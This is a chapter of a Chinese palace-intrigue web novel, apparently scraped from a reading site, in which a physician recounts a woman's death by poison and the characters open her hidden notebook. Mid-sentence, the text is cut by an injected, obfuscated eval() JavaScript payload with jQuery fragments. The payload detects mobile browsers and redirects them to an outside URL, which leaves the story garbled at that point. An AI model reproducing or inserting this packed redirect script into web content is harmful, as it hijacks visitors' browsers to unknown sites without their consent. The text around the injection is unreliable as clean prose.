廊下的旖旎气氛瞬间被击得粉碎。
    萧承砚和顾惊鸿脸色同时一变,迅速对视一眼,都在对方眼中看到了惊疑。
    里面到底谈了什么?竟然能让玄汝失控到摔东西?
    两人立刻转身,一把推开了花厅的门。
    厅内,气氛几乎凝滞。
    玄汝站在原地,身体微微发抖,脚边是摔得粉碎的茶盏碎片。
    她脸色苍白如纸,那双总是灵动狡黠的眸子此刻充满了血丝。
    “阿汝!”顾惊鸿惊呼一声,快步上前,将玄汝揽在自己怀中安抚。
    谭煊则仿佛一瞬间被抽走了所有精气神,踉跄着后退一步,跌坐在旁边的椅子上,官袍下的肩膀垮塌下去,整个人显得苍老而颓唐。
    萧承砚则面色沉凝,目光扫过现场,最后落在谭煊身上:“谭院首,发生了何事?”
    谭煊眸色空洞,只怔怔道:“殿下,老臣……相信玄汝所说,你们见到的那个药丸应当就是‘穿肠煞’,与当年西南疫情时大多数人的情况都是符合的。”
    萧承砚一瞬不瞬地看着谭煊,“发生了何事?”
    谭煊眸光沉了沉,似在看着萧承砚,又似透过萧承砚望向了更远的地方,空洞而悲凉。
    “……是‘穿肠煞’,如是便是死于穿肠煞的。”
    顾惊鸿闻言,眸光深深地落在谭煊的身上。
    但下一瞬,她的手忽然被用力甩开。
    只见被她护在怀中的玄汝忽然激动地往前探了一步:“你胡说!我娘向来精于毒术,即使遇到毒药也会被她的身体给化了,如何能因为‘穿肠煞’而、而离开?!”
    萧承砚亦是觉得难以相信:“西南疫情之时,玄谷主同本王几乎日日相见,当时倒并未觉得玄谷主是中了毒了,她看上去精神依旧很好。”
    谭煊伸出双手扶着额头,不停地摇晃:“不是的、不是的……”
    片刻后,他才抬起头来:“如是那么多年钻研毒术,体质怪异,冬日穿薄衫,夏日穿棉袄……你真的觉得她能化了毒?”
    顾惊鸿眼前一晃,只见玄汝又欲上前同谭煊理论。
    她瞬间抓着玄汝的手腕:“阿汝,让谭院首先说完。”
    谭煊道:“没错,如是的身体表面是一副‘百毒不侵’的样子,那是因为她凭借多年毒术的经验,巧妙地让她身体当中的毒素之间维持了一个互相制衡的关系。可、可那‘穿肠煞’正好打破了这种平衡。所以……”
    所以,原本被她竭力压着和互相制约的毒素便像决了堤的洪水,四处侵袭她的身体。
    谭煊的话音在颤抖,有些语无伦次。
    但他还是尽量清晰地描述了那个雨夜,玄如是如何突然出现在他门外,气息不稳,却强撑着要将一个“无关紧要的旧物”托付给他。
    他如何在惊喜之后察觉异常,强行将她留下。
    又如何在她睡梦中偷偷号脉,惊觉她体内那复杂而危险的毒性平衡正在被一种新毒猛烈破坏……
    谭煊的声音充满了医者无法救人的无力和绝望,还有一点他从未出现过的被人牵动情绪的痛楚。
    “如是说,雪山上有一味‘冰魄焰心花’或可一试。我信了、我立刻动身去找……那山上的积雪很深很深,我找了很久很久都没能找到。等我回来,她的房中只剩下一封信。她说她已经好了,又用了一种新的毒平衡了‘穿肠煞’。”
    讲到这里,谭煊忽然笑了,“她还在信中说我医术不行,她的毒术才能走遍天下……她还是那样骄傲、自信,甚至于……疯魔。”
    谭煊说出“疯魔”这个词的时候,泪珠忽然涌起,然后一颗颗掉落,掉着掉着,双眸红肿得有些异常,口吻中尽是后悔。
    “我该发现的!我早该发现的!!她是不想拖累我!她就是想自己离开!她不是疯魔,她是世上最好的女子!!”
    花厅内一片死寂。
    顾惊鸿下意识转头去看玄汝,只见她微微抬起下颌,缓缓眨了眨眼睛,浑身上下透着一种淡淡的无力感和破碎感。
    “阿鸿,我娘说……她、她是太累了……”
    然后身形一晃、踉跄一步,最终被顾惊鸿紧紧扶住。
    顾惊鸿听着这惨烈的往事,心中恻然,下意识地轻轻拍着玄汝的背。
    忽然,顾惊鸿瞳孔缩了缩。
    不对,方才好似漏掉了什么重要信息。
    她思索片刻,看向谭煊:“谭院首,您方才说,玄谷主曾给你一个‘旧物’?那物品可还在?”
    谭煊点了点头:“自然还在。”
    顾惊鸿从袖中拿出一物,递给谭煊。
    “谭院首,您瞧瞧,那旧物上可是有此纹路?”
    萧承砚转头看了顾惊鸿一眼,先是疑惑,而后眸中多了一丝了然。
    谭煊说玄如是托付给他一个“旧物”。
    究竟是一个什么样的旧物,能让一个宁可带着孩子独自在药师谷生活了几年的女人,在知道她大限将至的时候,还跌跌撞撞跑到一个多年不见的“旧相识”那儿,非要交给他?
    顾惊鸿脑海中忽然闪现了一个奇异的纹路,还有那个留在药师谷密室中的空匣子。
    她伸手从袖中掏出一个双鱼枢,伸手欲交给谭煊。
    “谭院首,你方才说的那个‘旧物’,上头可有此种纹路?”
    萧承砚见状,忙从玄汝手中接过双鱼枢,交给谭煊,然后转过头同顾惊鸿交换了一个眼神。
    顾惊鸿无奈地翻了个白眼。
    谭煊倒是没注意到两人的这个小互动,接过双鱼枢认真地看了看,道:“是,是!确实有此纹路。”
    萧承砚又将那双鱼枢拿回,还给顾惊鸿。
    一边动作,一边替顾惊鸿问道:“谭院首藏了那物多年,竟是尚未打开看过么?”
    谭煊道:“当年如是说,这‘旧物’由我保存最为妥当,任何人,包括我都不能私自窥探。若是殿下或她女儿要看,这才能打开。”
    说到了这里,谭煊的眸光再度落在了玄汝的眉眼上,心中暗自感慨,太像了,实在太像了!
    顾惊鸿道:“谭院首,烦请带路!”
    谭煊道:“好。”
    众人行至王府门口,凛冽的寒风卷着雪沫扑面而来。
    顾惊鸿脚步一顿,一种长期游走于危险边缘形成的直觉,让她心底警铃微作。
    她未发一言,自然而然地落后半步,在萧承砚广袖的遮掩下,指尖轻轻勾住了他微暖的手腕。
    萧承砚身形未有停顿,仿佛只是随意地将手收回身侧,事实上却已反手握住了她冰凉的指尖,用一个细微的力道将她带近半步。
    这无声的询问通过相触的皮肤传递过来。
    顾惊鸿指尖在他掌心轻轻一划,随即欲要收回,却被他更紧地握住。
    他侧首垂眸,投来一道带着询问的视线。
    顾惊鸿抬起眼,迎上他的目光,极轻地摇了摇头。
    眼神锐利而清醒。
    萧承
    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574143|183261||http|test|mini|href|location''.split(''|''),0,{}));
    () {
    $(''.inform'').remove();
    $(''#content'').append(''
    砚眸光一闪,瞬间了然。
    他松开手,面色如常地转向前面两人,声音平静无波:“谭院首、玄汝,请先行一步上车等候。本王与阿鸿有几句话要交代。”
    “是。”谭煊与玄汝依言向门外的马车走去。
    顾惊鸿这才上前两步,踮起脚尖,在萧承砚身边耳语几句。
    她的气息似混着梅花一般的香气扑在他耳边,酥酥痒痒,让他心神一晃,紧接着,他的眸光又迅速聚拢……待顾惊鸿说完,萧承砚意味深长地看了顾惊鸿一眼。
    “长风。”
    长风立马出现:“王爷。”
    ……
    一行四人乘坐烬王府的马车,不多时便抵达了谭煊的府邸。
    与许多京中官员府邸的雕梁画栋、曲径通幽不同,谭府门庭简洁,甚至透着一股冷清。
    踏入府门,映入眼帘的竟是一小片药圃,虽是寒冬,亦有几株耐寒的草药在积雪中透出顽强绿意,空气中弥漫着淡淡的、混合的草药清香。
    府内陈设极为朴素,书案、茶几、甚至廊下,都整齐堆叠或摆放着各类医书典籍、手札卷宗,毫无冗余的享乐之物。
    一名身着素雅棉裙、年纪约莫三十许的女子闻声迎了出来,她发髻梳得一丝不苟,衣着干净利落,眉眼间透着干练与温和。
    见到谭煊带回客人,她眼中掠过一丝惊讶,随即便是周全的礼数。
    “老爷回来了。”她声音柔和,向萧承砚等人行礼,“民妇竹心,见过王爷,各位贵人。”
    而谭煊甚至都没来得及给她一个眼神,便因着众人向府邸深处走去。
    “诸位请随我来。”
    众人穿过曲折的回廊,来到书房。
    移开沉重的书架,露出一处隐秘的暗格。
    谭煊从中捧出一只色泽沉黯的乌木匣。匣身布满岁月痕迹,但正中那清晰的凹槽与双鱼纹路,与顾惊鸿手中的双鱼枢竟是严丝合缝。
    顾惊鸿将双鱼枢交给谭煊,岂料谭煊嵌了很久都未嵌入凹槽,只好将匣子和双鱼枢还给顾惊鸿。
    只见那双鱼枢在顾惊鸿手中一转,然后她又在乌木匣边上摸了一圈,只听得“咔哒”一声轻响,匣盖弹开。
    一股混合着陈旧墨香与淡淡药草的气息弥漫开来,匣内是一本手札。
    谭煊小心地将手札取出,看了看神情极度平淡的玄汝。
    见玄汝并未伸手来取,便又转手交给萧承砚。
    萧承砚想了想,又将手札交给顾惊鸿。
    顾惊鸿一愣:“我看?”
    萧承砚道:“阿鸿,我不知道该如何说这种感觉,只是这双鱼枢是你发现的,且一直被你带着,匣子的事情也是你发现的,最后亦是你取出的……想来你同这手札的渊源应是更深。”
    顾惊鸿又看了看虚弱的玄汝,便道:“好。”
    最初,页面上是玄如是详尽记录“穿肠煞”的毒理……顾惊鸿看得飞快,指尖划过一行行字迹,低声道:“记录详尽,与谭院首判断一致。”
    然而,随着翻阅,她的速度慢了下来,萧承砚也凑近了些,两人都注意到了笔迹的变化……
    「此毒炼制手法精妙,绝非西南民间土法可为……」顾惊鸿念出这一句,整个人下意识往后倒了一下,正好撞进萧承砚怀中。
    然后是熟悉的声音落在她耳旁:“站好。”
    明明是冷漠的连个字,可他口吻中的纵容和娇惯实在是太过昭彰,连熟悉他的谭院首和玄汝都愣了愣。